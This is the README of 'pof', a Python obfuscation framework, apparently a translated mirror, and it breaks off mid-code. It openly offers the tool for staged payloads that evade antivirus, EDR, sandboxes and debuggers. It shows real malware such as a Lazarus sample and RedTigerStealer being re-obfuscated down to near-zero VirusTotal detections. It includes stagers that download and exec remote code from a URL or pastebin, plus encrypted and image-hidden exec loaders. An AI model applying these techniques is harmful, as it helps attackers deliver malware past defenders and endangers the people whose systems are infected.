deoktr/Python-Obfuscation-Framework

GitHub: deoktr/Python-Obfuscation-Framework

一款功能全面的Python代码混淆框架,集多种混淆技术、沙箱规避和分阶段载荷功能于一体,用于绕过杀毒软件和EDR的静态检测。

Stars: 23 | Forks: 3

# Python 混淆框架 - pof [![python-obfuscation-framework-pypi](https://img.shields.io/pypi/v/python-obfuscation-framework.svg)](https://pypi.org/project/python-obfuscation-framework) 在 [pof.run](https://pof.run) 进行测试。 Python Obfuscation Framework (pof),一个完整的 Python 进攻安全工具包,用于生成分阶段的混淆 Payload。 pof 将允许你: - **通过分层混淆和 novel 技术减慢静态分析速度**。 - **通过检查主机信息(如 MAC 地址、CPU 数量、内存数量、运行时间等)来规避沙箱**。 - **添加防护措施**,通过验证用户名、主机名、域名等,确保 Payload 仅在预期的目标主机上执行。 - **通过 malloc 检测调试或跟踪来防止动态分析**。 - **创建分阶段 Payload**,将阶段存储在图像中、受信任的站点上,进行加密、压缩或编码等。 - **支持自动化**,以生成同一 Payload 的众多变体。 POF 的主要优势在于可定制性,你可以随心所欲地生成 Payload,选择你想要的混淆方式并将它们组合起来。 大多数混淆技术在组合使用时效果很好。例如,将一个 int 从 `42` 混淆为 `int("42")` 允许字符串混淆器对其进行混淆,将其变为 `int("".join([chr(ord(i)-3)for i in'75']))`。现在我们有多个 int 和 string,可以再次对它们进行混淆。 混淆示例: ``` print("Hello, world") ``` 输出: ``` from base64 import b64decode as expected_data from base64 import b85decode as _5269 globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'[::-1]])].__dict__[_5269('').decode().join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'mruhgry'])])]()[_5269(''[::-1]).decode().join([globals()[''[::-1].join([chr(ord(i)-3)for i in expected_data('YmJleGxvd2xxdmJi').decode()])].__dict__["".join([chr(ord(i)-3)for i in"".join([chr(ord(i)-3)for i in'inx'])])](__builtins__.__dict__.__getitem__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in expected_data('cnVn').decode()]))(i)-(__name__.__len__().__class__(__builtins__.__dict__.__getitem__(_5269('X>N1').decode())("".join([chr(ord(i)-3)for i in'3\u007b5']),0)+__builtins__.__getattribute__('egapraeytamrofel'[::-1].replace('egapraeytamrof'[::-1],expected_data('bg==').decode()))(expected_data("".join([chr(ord(i)-3)for i in']j@@'])).decode()))))for i in"".join([chr(ord(i)-3)for i in'eeh{olsy7bdgguvtyee']).replace(_5269('X>fKlUtwfqa&r').decode(),_5269('Z+C0').decode())])].__dict__[''[::-1].join([chr(ord(i)-3)for i in''[::-1]]).join([globals()[expected_data('XordinalidWlsdGlucordinalf'.replace('ordinal','19')).decode()].__dict__[expected_data('yh2Y'[::-1]).decode()](globals()[_5269(expected_data('VXRlTiVYPjQ/OVpnWEU+').decode()).decode()].__dict__[_5269('fold_countV'.replace('fold_count','Z*p')).decode()](i)-__builtins__.__getattribute__(expected_data("".join([chr(ord(i)-3)for i in'dZ83'])).decode())('quaencode_7or8bits'.replace('encode_7or8bit','ntile').replace("".join([chr(ord(i)-3)for i in'txdqwlohv']),"".join([chr(ord(i)-3)for i in'6']))))for i in expected_data('').decode().join([chr(ord(i)-3)for i in'ztoxv'[::-1]])])](expected_data(_5269('Q%6>FVKQQ0ad38HZFp+').decode().replace('pq_b2a'[::-1],'\u0062\u00478\u0073\u0049\u0048\u0064')).decode()) ```
相同输出格式化后: ``` from base64 import b64decode as expected_data from base64 import b85decode as _5269 globals()["".join([chr(ord(i) - 3) for i in "bbvqlwolxebb"[::-1]])].__dict__[ _5269("") .decode() .join([chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "mruhgry"])]) ]()[ _5269(""[::-1]) .decode() .join( [ globals()[ ""[::-1].join( [ chr(ord(i) - 3) for i in expected_data("YmJleGxvd2xxdmJi").decode() ] ) ].__dict__[ "".join( [chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "inx"])] ) ]( __builtins__.__dict__.__getitem__( "".join([chr(ord(i) - 3) for i in ""]).join( [chr(ord(i) - 3) for i in expected_data("cnVn").decode()] ) )(i) - ( __name__.__len__().__class__( __builtins__.__dict__.__getitem__(_5269("X>N1").decode())( "".join([chr(ord(i) - 3) for i in "3\u007b5"]), 0 ) + __builtins__.__getattribute__( "egapraeytamrofel"[::-1].replace( "egapraeytamrof"[::-1], expected_data("bg==").decode() ) )( expected_data( "".join([chr(ord(i) - 3) for i in "]j@@"]) ).decode() ) ) ) ) for i in "".join([chr(ord(i) - 3) for i in "eeh{olsy7bdgguvtyee"]).replace( _5269("X>fKlUtwfqa&r").decode(), _5269("Z+C0").decode() ) ] ) ].__dict__[ ""[::-1] .join([chr(ord(i) - 3) for i in ""[::-1]]) .join( [ globals()[ expected_data( "XordinalidWlsdGlucordinalf".replace("ordinal", "19") ).decode() ].__dict__[expected_data("yh2Y"[::-1]).decode()]( globals()[ _5269(expected_data("VXRlTiVYPjQ/OVpnWEU+").decode()).decode() ].__dict__[_5269("fold_countV".replace("fold_count", "Z*p")).decode()]( i ) - __builtins__.__getattribute__( expected_data("".join([chr(ord(i) - 3) for i in "dZ83"])).decode() )( "quaencode_7or8bits".replace("encode_7or8bit", "ntile").replace( "".join([chr(ord(i) - 3) for i in "txdqwlohv"]), "".join([chr(ord(i) - 3) for i in "6"]), ) ) ) for i in expected_data("") .decode() .join([chr(ord(i) - 3) for i in "ztoxv"[::-1]]) ] ) ]( expected_data( _5269("Q%6>FVKQQ0ad38HZFp+") .decode() .replace("pq_b2a"[::-1], "\u0062\u00478\u0073\u0049\u0048\u0064") ).decode() ) ```
更多示例和用法可以在 `examples/` 或下面的章节中找到。 ## 有效性 测试是使用 pof 的默认配置完成的,没有结合沙箱规避 技术进行混淆。另外请注意,我还没有测试 恶意软件是否仍然有效,它们应该有效,但可能会因 混淆而损坏。 混淆一个 [Lazarus 恶意软件](https://bazaar.abuse.ch/sample/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b/), 我们在 virus total 上从 [18/63](https://www.virustotal.com/gui/file/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b) 变为 [0/63](https://www.virustotal.com/gui/file/2f427bc784e2a865d8f000c21f366cb8459842f97c56465cbe963f221b3e115a): ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/798c1dccfb073855.png) 混淆 [RedTigerStealer](https://bazaar.abuse.ch/sample/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374/) 我们在 virus total 上从 [26/63](https://www.virustotal.com/gui/file/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374) 变为 [1/62](https://www.virustotal.com/gui/file/5616cb69576b11fa4a024023bcf0f66e66b84f426067e597075dfcbba945d5e3) : ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/cb56beb298073856.png) 混淆 [BTC-Clipper](https://github.com/NightfallGT/BTC-Clipper),我们在 virus total 上 从 [13/64](https://www.virustotal.com/gui/file/9817d8de9bf7d2740b5b66e30ec1afdd98d7d119074a61cbba05514d4ebdc149) 变为 [0/63](https://www.virustotal.com/gui/file/71631daa26fe6c2cf77d282a16f8b3fd31e4794b63709b956599563b95e64816) : ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/95f96f817b073856.png) 混淆一个 [Braodo 恶意软件](https://bazaar.abuse.ch/sample/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f/), 我们在 virus total 上从 [10/61](https://www.virustotal.com/gui/file/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f) 变为 [0/63](https://www.virustotal.com/gui/file/8791188aaf7655093307e46fa68e3705ee7249cb81e05ea416ae96ad2fd2f0f2) : ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ee57cf4749073857.png) 混淆 [Python-File-Stealer](https://github.com/KrizzhSriskantharajah-UK/Python-File-Stealer), 我们在 virus total 上从 [4/63](https://www.virustotal.com/gui/file/2fc798f1df42adae3af2f7d2623edc74f6b8f08a7ae16ef3b67305c4ad668c82) 变为 [0/63](https://www.virustotal.com/gui/file/8d529e6ee2806986ca376a427d683fdf6980d6332134e4759d790d604d6b5dcb) : ![](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/6802d3297e073858.png) ## 安装 你可以通过 pip install 安装 POF,在容器内安装,或者在线试用 [pof.run](https://pof.run): ``` echo 'print("Hello, world!")' | curl -X POST -d @- https://pof.run ``` ### PIP 来自 [pypi](https://pypi.org/project/python-obfuscation-framework): ``` pip install python-obfuscation-framework ``` ### Docker ``` docker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --help ``` 在 Docker 内从本地文件 `in.py` 运行: ``` docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.py ``` 或者通过管道输入和输出: ``` cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.py ``` ## 用法 ``` # 将输入和输出通过管道传输到 stdout echo "print('Hello, world')" | pof # 输出到文件 pof in.py -o out.py # 重定向到文件 pof in.py > out.py # 通过管道传输到 python 以运行它 pof in.py | python # 混淆器 pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator # Stager pof in.py -o out.py -f stager -k PasteRsStager # 规避 pof in.py -o out.py -f evasion -k CPUCountEvasion # 使用自定义参数规避 pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4 # 从 CLI 组合所有内容 pof in.py -f obfuscator -k BuiltinsObfuscator |\ pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\ pof -f stager -k PasteRsStager > out.py ``` 你也可以直接使用 Python API,你可以在下面找到示例或查看 API 用法。 ## 示例 这些是脚本 `print('Hello, world')` 的混淆器示例。 要选择一个混淆器,请使用标志 `-f obfuscator` 和 `-k ObfuscatorClassName`。 要复现这些示例,你可以使用以下命令: ``` echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator ``` 要测试输出的有效性,你可以简单地将其通过管道传递给 Python: ``` echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python ``` ### 混淆器 `VariablesObfuscator` 是最基础的混淆器,它会重命名变量。 源码在 `examples/source.py`。 ``` import os def get_linux_release_info(): """Get Linux release info from /etc/os-release.""" uggNx = '/etc/os-release' if not os.path.exists(uggNx): print('OS release file not found. This might not be a Linux system.') return None LY3mN = {} try: with open(uggNx, 'r') as kj0: for Stv9o in kj0: if not Stv9o or '=' not in Stv9o: continue l0j, QE5kCKYwMe = Stv9o.strip().split('=', 1) QE5kCKYwMe = QE5kCKYwMe.strip('"\'\n') LY3mN[l0j] = QE5kCKYwMe print('\nLinux Release Information:') print(f"Distribution: {LY3mN.get('NAME', 'Unknown')}") print(f"Version: {LY3mN.get('VERSION', 'Unknown')}") print(f"Version ID: {LY3mN.get('VERSION_ID', 'Unknown')}") print(f"Pretty Name: {LY3mN.get('PRETTY_NAME', 'Unknown')}") return LY3mN except Exception as e: print(f'Error reading release file: {e}') return None if __name__ == '__main__': if os.name == 'posix' and os.path.exists('/etc/os-release'): E_R72 = get_linux_release_info() else: print('This script is designed for Linux systems.') ``` `DefinitionsObfuscator` 混淆函数名称。 其他非常基础的功能由特定的混淆器完成,例如: - 使用 `CommentsObfuscator` 删除注释。 - 使用 `ExceptionObfuscator` 替换异常消息。 - 使用 `IndentsObfuscator` 将缩进减少到单个空格。 - 使用 `LoggingObfuscator` 替换日志消息,或使用 `LoggingRemoveObfuscator` 删除它们。 - 使用 `NewlineObfuscator` 删除空行。 - 使用 `PrintObfuscator` 删除打印语句。 #### StringsObfuscator ``` # Reverse print('dlrow ,olleH'[::-1]) # Replace print('Helnelemd'.replace('nelem','lo, worl')) # One on n print("".join([d if g%3==0 else""for g,d in enumerate('H9IesYlvJl5loU4,dK nDw51ovsrozl0UdoI!jL')])) # 十六进制编码 print('\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64') # Unicode print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064') # Shift cipher print("".join([chr(ord(i)-3)for i in'Khoor/#zruog'])) # Base 64 encoding from base64 import b64decode print(b64decode( b'SGVsbG8sIHdvcmxk').decode()) # Base 85 from base64 import b85decode print(b85decode( b'NM&qnZ!92pZ*pv8').decode()) ``` #### NumberObfuscator 源码:`print(42)` ``` # String print(int('42')) # Addition print((int(35+7))) # Hex print(int('0x2a',0)) # Len print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')) # Boolean print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True)) ``` #### ConstantsObfuscator 将每个变量以随机名称移动到文件顶部。 ``` N842V="\"'\n" gvBXIX='NAME' Lzxdy='VERSION' NklI="__main__" IoTpEBJ='VERSION_ID' eQqDDpOL=1 IpEPxvQ="This script is designed for Linux systems." ka6U_Q='PRETTY_NAME' hCf5UQQT="=" GMUC6z="/etc/os-release" eOa=Exception CCCs=None EUr2fN=open wGDb="r" hm8="OS release file not found. This might not be a Linux system." QElu="posix" fNdZY9=__name__ LvMs="\nLinux Release Information:" uFCf7Vy='Unknown' joyHA=print import os def get_linux_release_info(): """Get Linux release info from /etc/os-release.""" release_file=GMUC6z if not os.path.exists(release_file): joyHA(hm8) return CCCs release_info={} try: with EUr2fN(release_file,wGDb)as f: for line in f: if not line or hCf5UQQT not in line: continue key,value=line.strip().split(hCf5UQQT,eQqDDpOL) value=value.strip(N842V) release_info[key]=value joyHA(LvMs) joyHA(f"Distribution: {release_info.get(gvBXIX,uFCf7Vy)}") joyHA(f"Version: {release_info.get(Lzxdy,uFCf7Vy)}") joyHA(f"Version ID: {release_info.get(IoTpEBJ,uFCf7Vy)}") joyHA(f"Pretty Name: {release_info.get(ka6U_Q,uFCf7Vy)}") return release_info except eOa as e: joyHA(f"Error reading release file: {e}") return CCCs if fNdZY9==NklI: if os.name==QElu and os.path.exists(GMUC6z): release_details=get_linux_release_info() else: joyHA(IpEPxvQ) ``` #### BuiltinsObfuscator 使用以下方法之一混淆内置函数。 ``` __builtins__.__getattribute__('print')('Hello, world') __builtins__.__dict__['print']('Hello, world') globals()['__builtins__'].__dict__['print']('Hello, world') __builtins__.__dict__.__getitem__('print')('Hello, world') ``` #### ExtractVariablesObfuscator 在同一上下文级别中提取变量,这意味着如果在函数内部,将在其开头添加该变量。 ``` var='Hello, world' print(var) ``` #### CallObfuscator ``` print.__call__('Hello, world') ``` #### GlobalsObfuscator 将全局函数的调用替换为 `globals()['func_name']()`。 源码在 `examples/source.py`。 ``` import os def get_linux_release_info(): release_file="/etc/os-release" if not os.path.exists(release_file): print("OS release file not found. This might not be a Linux system.") return None release_info={} try: with open(release_file,"r")as f: for line in f: if not line or"="not in line: continue key,value=line.strip().split("=",1) value=value.strip("\"'\n") release_info[key]=value print("\nLinux Release Information:") print(f"Distribution: {release_info.get('NAME','Unknown')}") print(f"Version: {release_info.get('VERSION','Unknown')}") print(f"Version ID: {release_info.get('VERSION_ID','Unknown')}") print(f"Pretty Name: {release_info.get('PRETTY_NAME','Unknown')}") return release_info except Exception as e: print(f"Error reading release file: {e}") return None if __name__=="__main__": if os.name=="posix"and os.path.exists("/etc/os-release"): release_details=globals()['get_linux_release_info']() else: print("This script is designed for Linux systems.") ``` #### ShiftObfuscator ``` exec("".join([chr(ord(i)-3)for i in'sulqw+*Khoor/#zruog*,\r'])) ``` #### DocstringObfuscator ``` from base64 import b64decode class Foo: """ cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg== """ pass exec(b64decode(Foo.__doc__.replace('\n','').replace(' ',''))) ``` #### SpacenTabObfuscator ``` def sntdecode(encoded): msg_bin=encoded.replace(" ","0").replace("\t","1") n=int(msg_bin,2) return n.to_bytes((n.bit_length()+7)//8,"big") exec(sntdecode('\t\t\t \t\t\t \t \t\t \t \t \t\t \t\t\t \t\t\t \t \t \t \t \t\t\t \t \t \t\t \t \t \t\t \t\t \t\t \t\t \t\t \t\t\t\t \t \t\t \t \t\t\t \t\t\t \t\t \t\t\t\t \t\t\t \t \t\t \t\t \t\t \t \t \t\t\t \t \t \t \t \t ')) ``` #### WhitespaceObfuscator 使用空白字符和零宽空白 `\u200B`。 ``` def wsdecode(encoded): msg_bin=encoded.replace(" ","0").replace('\u200b',"1") n=int(msg_bin,2) return n.to_bytes((n.bit_length()+7)//8,"big") exec(wsdecode("​​​ ​​​ ​ ​​ ​ ​ ​​ ​​​ ​​​ ​ ​ ​ ​ ​​​ ​ ​ ​​ ​ ​ ​​ ​​ ​​ ​​ ​​ ​​​​ ​ ​​ ​ ​​​ ​​​ ​​ ​​​​ ​​​ ​ ​​ ​​ ​​ ​ ​ ​​​ ​ ​ ​ ​ ​ ")) ``` #### RC4Obfuscator 警告:RC4 混淆器(和其他密码混淆器)将密文和密钥合并在同一个文件中,这显然是不安全的,绝不应出于安全目的使用。这个混淆器背后的想法是欺骗人类、AV、EDR、网络 TAP 等,而不是为了安全和可靠。 ``` import codecs def rc4decrypt(key,ciphertext): def KSA(key): key_length=len(key) S=list(range(256)) j=0 for i in range(256): j=(j+S[i]+key[i%key_length])%256 S[i],S[j]=S[j],S[i] return S def PRGA(S): i=0 j=0 while True: i=(i+1)%256 j=(j+S[i])%256 S[i],S[j]=S[j],S[i] K=S[(S[i]+S[j])%256] yield K def get_keystream(key): S=KSA(key) return PRGA(S) def encrypt_logic(key,text): key=[ord(c)for c in key] keystream=get_keystream(key) res=[] for c in text: val="%02X"%(c^next(keystream)) res.append(val) return"".join(res) ciphertext=codecs.decode(ciphertext,"hex_codec") res=encrypt_logic(key,ciphertext) return codecs.decode(res,"hex_codec").decode("utf-8") exec(rc4decrypt('7zSRE6YHmdwpx2zT1Q2xPoPwzztXRZNQSKeX2LFIKBhl7uJMAs9jj0Hlec6y3wjuNgqgdD1XjnqZSzkWhRldoWwn625Bw56r105zQg5KRE5ugmVOUy2adMWKH2hod0CfxW72XLGFDTt38OH5nDYcr2bXrokKDKCaie56agxxHmSwv4nwTNQlxjyrixBgeyjaDV8CLvdmS4ANRXXVs5HxhxlFiBBUoHadf1wLq0wDi5c0e93fmqqNCRHAMAoTkGJJPCfXc9kTHmW38NJcjnVgvAgrBIcJX66E8pLwUniQB0yvoHapq2RCxaV8PrhU0jFy9RWTrwDfoE3G7whrE8uobVUgFLiJsiH6eV63RvH03gUEi1EHo0YGrRo12yShLG0P8pfSawTjTkJlQOFQ2PsubnQm8fhZ6en7nHI2L2xpC88yNScapMnsRaYUHZFWdecVfOaq9QaMf76RzYpQ7F5LWKgcEG3WGiXReCU1hr5pAoomAcXMZftcYuJu5AuOsXSR','647F6846CBEF6C270D853D3F76650D51DE1CAD760C17')) ``` #### XORObfuscator ``` from base64 import b64decode def decrypt(cipher,key): bcipher=bytearray(b64decode(cipher)) text=bytearray() ki=0 for i in bcipher: text.append(i^key[ki%len(key)]) ki+=1 return text exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode()) ``` #### 压缩 ``` # Bz2Obfuscator import bz2,marshal exec(marshal.loads(bz2.decompress( b'BZh91AY&SY\xcf\xf8\xcd\xdc\x00\x00\ru\x80\xc0\x10\x01\x00@\xe4\x00@\x06%\xd4\x80\x08\x00 \x00"&\x80d\x196\xa1L&\x9a\x03LI\x99\\eR\x15\xcd\xb9\x04\xd4s\x1d\x08\x00\xf8\xbb\x92)\xc2\x84\x86\x7f\xc6n\xe0'))) # GzipObfuscator import gzip,marshal exec(marshal.loads(gzip.decompress( b'\x1f\x8b\x08\x00$p\x91d\x02\xff\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00\xf2\x90\x8eA\x1b\x00\x00\x00'))) # LzmaObfuscator import lzma,marshal exec(marshal.loads(lzma.decompress( b"\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x00\x1a\xf3\x16\x00\x00\x00print('Hello, world')\n\x00\x00\xd5\xa4\x00\xec\xfa;\x9c\xf1\x00\x013\x1b\xf7\x19\x88^\x1f\xb6\xf3}\x01\x00\x00\x00\x00\x04YZ"))) # ZlibObfuscator import zlib,marshal exec(marshal.loads(zlib.decompress( b'x\x9c\xfb,\xc6\xc0\xc0PP\x94\x99W\xa2\xa1\xee\x91\x9a\x93\x93\xaf\xa3P\x9e_\x94\x93\xa2\xae\xc9\x05\x00va\x08H'))) ``` #### 编码 ``` # ASCII85Obfuscator from base64 import a85decode exec(a85decode('E,oZ1F=8M-ASc1$/0K.TEbo86.1-')) # Base16Obfuscator from base64 import b16decode exec(b16decode('7072696E74282748656C6C6F2C20776F726C6427290A')) # Base32Obfuscator from base64 import b32decode exec(b32decode('OBZGS3TUFATUQZLMNRXSYIDXN5ZGYZBHFEFA====')) # Base32HexObfuscator from base64 import b32hexdecode exec(b32hexdecode('E1P6IRJK50JKGPBCDHNIO83NDTP6OP175450====')) # Base64Obfuscator from base64 import b64decode exec(b64decode('cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==')) # Base85Obfuscator from base64 import b85decode exec(b85decode('aB^vGbSNiCWo&G3EFgDpa%^NLDGC')) # BinasciiObfuscator import binascii,marshal exec(marshal.loads(binascii.a2b_base64( b'8xYAAABwcmludCgnSGVsbG8sIHdvcmxkJykK\n'))) ``` #### 特殊编码 ``` # TokensObfuscator from tokenize import untokenize exec(untokenize([(1,'print'),(54,'('),(3,"'Hello, world'"),(54,')'),(4,'\n'),(0,''),])) # IPv6Obfuscator import binascii exec(binascii.a2b_hex(''.join(['7072:696e:7428:2748:656c:6c6f:2c20:776f','726c:6427:290a:1000:0000:0000:0000:0000',]).replace(':','').strip('0')[:-1])) # MACObfuscator import binascii exec(binascii.a2b_hex(''.join(['70-72-69-6e-74-28','27-48-65-6c-6c-6f','2c-20-77-6f-72-6c','64-27-29-0a-10-00',]).replace('-','').strip('0')[:-1])) # UUIDObfuscator exec(binascii.a2b_hex("".join(['7072696e-7428-2748-656c-6c6f2c20776f','726c6427-290a-1000-0000-000000000000',]).replace("-","").strip('0')[:-1])) ``` #### ImportsObfuscator 源码:`import pathlib` ``` pathlib=__import__('pathlib') ``` #### CharFromDocObfuscator 源码:`print('h')` ``` print(oct.__doc__[8]) ``` #### AddCommentsObfuscator ``` # 这是一个随机注释 print("Hello, world!") ``` 可用的注释列表在一个文件中,所有注释都提取自 Python 标准库。 #### AddNewlinesObfuscator 在所有可能的地方添加随机空行。 ``` print("Hello, world!") ``` ### 分阶段器 #### DownloadStager ``` from urllib import request exec(request.urlopen("https://example.com/payload.py").read()) ``` #### ImageStager 修改后的图片不包含在此示例中。 ``` import sys from PIL import Image def decode(im_in): msg_bin="" im=Image.open(im_in) px=im.load() for x in range(im.size[0]): for y in range(im.size[1]): pixels=px[x,y] msg_bin+=bin(pixels[0])[-1] n=8 mmsg_bin="0"+msg_bin chunks=[mmsg_bin[i:i+n]for i in range(0,len(mmsg_bin),n)] i=chunks.index("0"*8) msg_bin=msg_bin[:(8*i)-1] n=int(msg_bin,2) msg=n.to_bytes((n.bit_length()+7)//8,"big").decode() return msg exec(decode(sys.argv.pop(1))) ``` #### PastebinStager ``` from urllib import request exec(request.urlopen("https://pastebin.com/raw/...").read()) ``` `PasteRsStager` 和 `Cl1pNetStager` 完全相同,只是代码上传到不同的站点。但 `PasteRsStager` 不需要 API 密钥。 #### RC4Stager RC4 分阶段器需要使用密钥作为其第一个参数进行调用。 ``` import sys import codecs def rc4decrypt(key,ciphertext): def KSA(key): key_length=len(key) S=list(range(256)) j=0 for i in range(256): j=(j+S[i]+key[i%key_length])%256 S[i],S[j]=S[j],S[i] return S def PRGA(S): i=0 j=0 while True: i=(i+1)%256 j=(j+S[i])%256 S[i],S[j]=S[j],S[i] K=S[(S[i]+S[j])%256] yield K def get_keystream(key): S=KSA(key) return PRGA(S) def encrypt_logic(key,text): key=[ord(c)for c in key] keystream=get_keystream(key) res=[] for c in text: val="%02X"%(c^next(keystream)) res.append(val) return"".join(res) ciphertext=codecs.decode(ciphertext,"hex_codec") res=encrypt_logic(key,ciphertext) return codecs.decode(res,"hex_codec").decode("utf-8") exec(rc4decrypt(sys.argv.pop(1),'A0E9F66914B121B6CD9A7E4532EF281DBB0B8D7FF597A4D5FA2C5EBB47BA2801B33B21819B1F62D5A5D2BDC1E4A4ACD159FB581F860F44D0E4F493C8F55858C83D19EF5DD1BBEB0D143E5C5C9FFF621B187985B6F9FC03E83F80BA3DCD55217949FA04B2F58EC862CC701A0734D1ADB231E5DA54C11E505F520D1B53E50E1F36AA20A163D2BFA43C3E5DDA259A12683C3379D4115C0483C088236FB5DA667EE79D288D99F73A07FCF3F445F933B637B26DD32CC0A0EBE646E7644D2324937910ECB4752E8CEDC09729AF476579944DC13E3629C42634C9483D89617F8941F68506470D53BCC6A94B592101260B96B1BFD83A6C2248E725FF31E4592D21038D677A239E1BA4F9031F7F728DE835BF0C8B28920868A6B880E37C2BBF5E37291210F15F389BF42522D6A9668BA334474D9048AE66997C0AED01178B2EA75DB4D592CBB898773D982A91242AB434F54F00E6B747940D8D0228CB885E8A4977494350FFFA2D2428D0525F8A5A6A22899B0195AD278E804B7BCC47B499DD32329C56B4DB7A6FA81DC935DA9978961604951F0F63757FA754291B32D8E03BE815A38A5EDACB04516AEEAD0F9BA2FB4D8C3E8F5050D810B3B94B1A445973E775114112D279673715858CBA8C4C745C8B9D78CFF81B5C151EACB2E739612C7776BC081B5CA54AF6860E6F04A80F5645B011F4A4')) ``` 对于此示例,随机生成的密钥是: ``` TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC ``` 所以我们可以这样调用它: ``` python3 out.py TzyaoO... ``` #### QuineStager ``` from base64 import b64decode from tokenize import untokenize esource='cHJpbnQoJ0hlbGxvLCB3b3JsZCcpCg==' tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')] def quine(): return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:]) exec(b64decode(esource)) ``` 这很可能没用,Quine 是一个输出其源代码的程序,你可以用这个从你的源代码生成一个 Quine。 你的脚本仍将执行,但一个新的函数 `quine` 将可用,如果你调用它,你将可以访问源代码。 用法示例: ``` echo "print(quine())" | pof -f stager -k QuineStager > out.py python3 out.py > out2.py python3 out2.py > out3.py diff out2.py out3.py ``` `out2.py` 和 `out3.py` 文件是相同的,它们都包含源代码,以及脚本 `print(quine())`。 ### 格式化 你可以选择使用 black 自动格式化输出代码。 从 CLI 添加 `--format` 标志。 从库调用: ``` from pof.utils.format import black_format obf = ExampleObfuscator().obfuscate(...) out = black_format(obf) print(out) ``` ### 生成器 生成器用于生成新名称,它们可用于类、变量、函数、常量或其他任何东西。 `BasicGenerator.alphabet_generator`: ``` kMX94Fcb mff0ERu3V lNRxu3hk b5PK35uR_t ``` `AdvancedGenerator.realistic_generator`: 用于创建看起来逼真的变量。 ``` raise_src expected_message ContextInputValidation is_auth ``` `AdvancedGenerator.fixed_length_generator`: 灵感来自:[pyob.oxyry.com](https://pyob.oxyry.com/)。 ``` O00OOOO00O0O00OOO O000OOOOO0O000O0O O0OOOO0000OO0OO00 O000000OO0O0O0OO0 ``` `UnicodeGenerator.katakana_generator`: ``` シ ビラ ポワ ヌバ ``` 是的,它们是有效的 Python 变量名。 用法: ``` from pof.utils.generator import UnicodeGenerator gen = UnicodeGenerator().katakana_generator() for _ in range(4): print(next(gen)) ``` 你也可以组合生成器以随机选择,但具有相关的权重: ``` from pof.utils.generator import * gen_dict = { 86: 